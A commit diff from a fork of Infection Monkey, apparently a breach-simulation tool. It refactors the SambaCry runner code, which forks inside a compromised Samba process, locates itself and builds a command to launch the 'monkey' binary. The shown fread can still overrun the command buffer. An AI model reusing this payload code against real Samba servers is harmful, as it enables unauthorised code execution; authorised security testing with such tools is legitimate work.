p17860254
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Replace strncat with single snprintf call

This commit is contained in:
Ace Pace 2018-11-30 21:57:20 +02:00
parent 8496944409
commit d92db8effd
1 changed files with 14 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
View File

@ -32,7 +32,7 @@ int samba_init_module(void)
const char RUN_MONKEY_CMD[] = "./"; const char RUN_MONKEY_CMD[] = "./";
const char MONKEY_DEST_FOLDER[] = "/tmp"; const char MONKEY_DEST_FOLDER[] = "/tmp";
const char MONKEY_DEST_NAME[] = "monkey"; const char MONKEY_DEST_NAME[] = "monkey";
int found = 0; int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'};
@ -43,22 +43,22 @@ int samba_init_module(void)
int monkeySize = 0; int monkeySize = 0;
void* monkeyBinary = NULL; void* monkeyBinary = NULL;
struct stat fileStats; struct stat fileStats;
pid = fork(); pid = fork();
if (0 != pid) if (0 != pid)
{ {
// error or this is parent - nothing to do but return. // error or this is parent - nothing to do but return.
return 0; return 0;
} }
// Find fullpath of running module. // Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r"); pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile) if (NULL == pFile)
{ {
return 0; return 0;
} }
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) { if (fileNamePointer != NULL) {
@ -66,44 +66,42 @@ int samba_init_module(void)
break; break;
} }
} }
fclose(pFile); fclose(pFile);
// We can't find ourselves in module list // We can't find ourselves in module list
if (0 == found) if (0 == found)
{ {
return 0; return 0;
} }
monkeyDirectory = strchr(modulePathLine, '/'); monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0'; *fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory)) if (0 != chdir(monkeyDirectory))
{ {
return 0; return 0;
} }
// Write file to indicate we're running // Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w"); pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile) if (NULL == pFile)
{ {
return 0; return 0;
} }
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile); fclose(pFile);
// Read commandline // Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r"); pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile) if (NULL == pFile)
{ {
return 0; return 0;
} }
// Build commandline // Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile); fclose(pFile);